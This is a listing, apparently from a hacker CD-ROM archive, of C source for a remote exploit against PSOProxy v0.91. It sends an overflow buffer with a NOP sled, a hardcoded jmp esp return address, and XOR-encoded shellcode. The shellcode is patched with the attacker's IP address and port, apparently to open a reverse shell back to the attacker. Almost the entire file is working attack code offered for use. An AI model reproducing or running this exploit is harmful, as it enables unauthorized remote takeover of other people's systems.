home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 15 / hacker15 / 15_H4CK3R#15.ISO / eploits / psoproxy / PSOProxy.c < prev   
Encoding:
C/C++ Source or Header  |  2004-03-03  |  5.1 KB  |  163 lines

  1. /******************************************************************/
  2. /* [Crpt]      PSOProxy v0.91 remote sploit by kralor      [Crpt] */
  3. /******************************************************************/
  4. /* fuck eEye                                                      */
  5. /* fuck private exploits                                          */
  6. /* in other words, fuck you all security money makers and         */
  7. /* private exploits exchangers.                                   */
  8. /* lolo xXx thanks for errr.. she knows why =)                    */
  9. /* 30min debugging/coding "hobbie"..no universal 'jmp esp' addr.. */
  10. /******************************************************************/
  11. /*informations: www.coromputer.net,irc undernet #coromputer       */
  12. /******************************************************************/
  13.  
  14. #include <stdio.h>
  15. #include <stdlib.h>
  16. #include <windows.h>
  17. #include <winsock.h>
  18.  
  19. #pragma comment (lib,"ws2_32")
  20.  
  21. #define PORT 8080
  22.  
  23. #define RET_POS 1024
  24.  
  25. #define SIZE 1935
  26.  
  27. #define RET_ADDR 0x77E729E3 // win2k pro fr sp3
  28.  
  29. // sequence of 4 opcodes
  30. #define HOP 0xd4 // host opcode
  31. #define POP 0xd7 // port opcode
  32.  
  33. int cnx(char *host, int port)
  34. {
  35.     int sock;
  36.     struct sockaddr_in yeah;
  37.     struct hostent *she;
  38.  
  39.     sock=socket(AF_INET,SOCK_STREAM,0);
  40.     if(!sock) {
  41.         printf("error: unable to create socket\r\n");
  42.         return 0;
  43.         }
  44.     yeah.sin_family=AF_INET; 
  45.     yeah.sin_addr.s_addr=inet_addr(host); 
  46.     yeah.sin_port=htons((u_short)port);
  47.  
  48. if((she=gethostbyname(host))!=NULL) { 
  49.     memcpy((char *)&yeah.sin_addr,she->h_addr,she->h_length); 
  50.     } else { 
  51.     if((yeah.sin_addr.s_addr=inet_addr(host))==INADDR_NONE) {
  52.         printf("error: cannot resolve host\r\n");
  53.         return 0;
  54.         } 
  55.     }
  56.     printf("[+] Connecting to %-30s ...",host);
  57.     if(connect(sock,(struct sockaddr*)&yeah,sizeof(yeah))!=0) {
  58.         printf("error: connection refused\r\n");
  59.         return 0;
  60.         }
  61.     printf("Done\r\n");
  62.     return sock;
  63. }
  64.  
  65.  
  66.  
  67. void syntax(char *prog)
  68. {
  69.     printf("syntax: %s <host> <your_ip> <your_port>\r\n",prog);
  70.     exit(0);
  71. }
  72.  
  73. void banner(void)
  74. {
  75.     printf("\r\n\t    [Crpt] PSOProxy v0.91 remote sploit by kralor [Crpt]\r\n");
  76.     printf("\t\t www.coromputer.net && undernet #coromputer\r\n\r\n");
  77.     return;
  78. }
  79.  
  80.  
  81. int main(int argc, char *argv[])
  82. {
  83.     WSADATA wsaData;
  84.     int sock;
  85.     char useme[SIZE];
  86.     unsigned long host,port;
  87.     unsigned int i;
  88. char shellc0de[] =   /* sizeof(shellc0de+xorer) == 333 bytes */
  89.     /* classic xorer */
  90.     "\x90" // 0xcc (breakpoint) for debug :P
  91.     "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5b\x80\xc3\x10\x33\xc9\x66"
  92.     "\xb9\x33\x01\x80\x33\x95\x43\xe2\xfa"
  93.     /* shellc0de */
  94.     "\x14\x79\x05\x94\x95\x95\x1e\x61\xc0\xc3\xf1\x34\xa5\x95\x95\x95"
  95.     "\x1e\xd5\x99\x1e\xe5\x89\x38\x1e\xfd\x9d\x7e\x95\x1e\x50\xcb\xc8"
  96.     "\x1c\x93\x6a\xa3\xfd\x1b\xdb\x9b\x79\x7d\x38\x95\x95\x95\xfd\xa6"
  97.     "\xa7\x95\x95\xfd\xe2\xe6\xa7\xca\xc1\x6a\x45\x1e\x6d\xc2\xfd\x4c"
  98.     "\x9c\x60\x38\x7d\x06\x95\x95\x95\xa6\x5c\xc4\xc4\xc4\xc4\xd4\xc4"
  99.     "\xd4\xc4\x6a\x45\x1c\xd3\xb1\xc2\xfd\x79\x6c\x3f\xf5\x7d\xec\x95"
  100.     "\x95\x95\xfd\xd4\xd4\xd4\xd4\xfd\xd7\xd7\xd7\xd7\x1e\x59\xff\x85"
  101.     "\xc4\x6a\xe3\xb1\x6a\x45\xfd\xf6\xf8\xf1\x95\x1c\xf3\xa5\x6a\xa3"
  102.     "\xfd\xe7\x6b\x26\x83\x7d\xc4\x95\x95\x95\x1c\xd3\x8b\x16\x79\xc1"
  103.     "\x18\xa9\xb1\xa6\x55\xa6\x5c\x16\x54\x80\x3e\x77\x68\x53\xd1\xb1"
  104.     "\x85\xd1\x6b\xd1\xb1\xa8\x6b\xd1\xb1\xa9\x1e\xd3\xb1\x1c\xd1\xb1"
  105.     "\xdd\x1c\xd1\xb1\xd9\x1c\xd1\xb1\xc5\x18\xd1\xb1\x85\xc1\xc5\xc4"
  106.     "\xc4\xc4\xff\x94\xc4\xc4\x6a\xe3\xa5\xc4\x6a\xc3\x8b\x6a\xa3\xfd"
  107.     "\x7a\x5b\x75\xf5\x7d\x97\x95\x95\x95\x6a\x45\xc6\xc0\xc3\xc2\x1e"
  108.     "\xf9\xb1\x8d\x1e\xd0\xa9\x1e\xc1\x90\xed\x96\x40\x1e\xdf\x8d\x1e"
  109.     "\xcf\xb5\x96\x48\x76\xa7\xdc\x1e\xa1\x1e\x96\x60\xa6\x6a\x69\xa6"
  110.     "\x55\x39\xaf\x51\xe1\x92\x54\x5a\x98\x96\x6d\x7e\x67\xae\xe9\xb1"
  111.     "\x81\xe0\x74\x1e\xcf\xb1\x96\x48\xf3\x1e\x99\xde\x1e\xcf\x89\x96"
  112.     "\x48\x1e\x91\x1e\x96\x50\x7e\x97\xa6\x55\x1e\x40\xca\xcb\xc8\xce"
  113.     "\x57\x91\x95";
  114.  
  115.     banner();
  116. if(argc!=4)
  117.     syntax(argv[0]);
  118.     host=inet_addr(argv[2])^0x95959595;
  119.     port=atoi(argv[3]);
  120.     if(port<=0||port>65535) {
  121.         printf("error: <port> must be between 1 and 65535\r\n");
  122.         return -1;
  123.     }
  124.     port=htons((unsigned short)port);
  125.     port=port<<16;
  126.     port+=0x0002;
  127.     port=port^0x95959595;
  128.  
  129. for(i=0;i<sizeof(shellc0de);i++) {
  130.     if((unsigned char)shellc0de[i]==HOP&&(unsigned char)shellc0de[i+1]==HOP)
  131.         if((unsigned char)shellc0de[i+2]==HOP&&(unsigned char)shellc0de[i+3]==HOP) {
  132.             memcpy(&shellc0de[i],&host,4);
  133.             host=0;
  134.             }
  135.     if((unsigned char)shellc0de[i]==POP&&(unsigned char)shellc0de[i+1]==POP)
  136.         if((unsigned char)shellc0de[i+2]==POP&&(unsigned char)shellc0de[i+3]==POP) {
  137.             memcpy(&shellc0de[i],&port,4);
  138.             port=0;
  139.             }
  140. }
  141. if(host||port) {
  142.     printf("error: unabled to find ip/port sequence in shellc0de\r\n");
  143.     return -1;
  144.     }
  145.  
  146. if(WSAStartup(0x0101,&wsaData)!=0) {
  147.     printf("error: unable to load winsock\r\n");
  148.     return -1;
  149.     }
  150.  
  151. sock=cnx(argv[1],PORT);
  152. if(!sock)
  153.     return -1;
  154.     memset(useme,0x90,SIZE);
  155.     memcpy(&useme[1132],shellc0de,sizeof(shellc0de)-1);
  156.     *(unsigned long*)&useme[RET_POS] = RET_ADDR; // eip pointing to jmp esp...
  157.     printf("[+] Sending magic string                         ...");
  158.     send(sock,useme,sizeof(useme),0);
  159.     send(sock,"\r\n",2,0);
  160.     closesocket(sock);
  161.     printf("Done\r\n");
  162.     return 0;
  163. }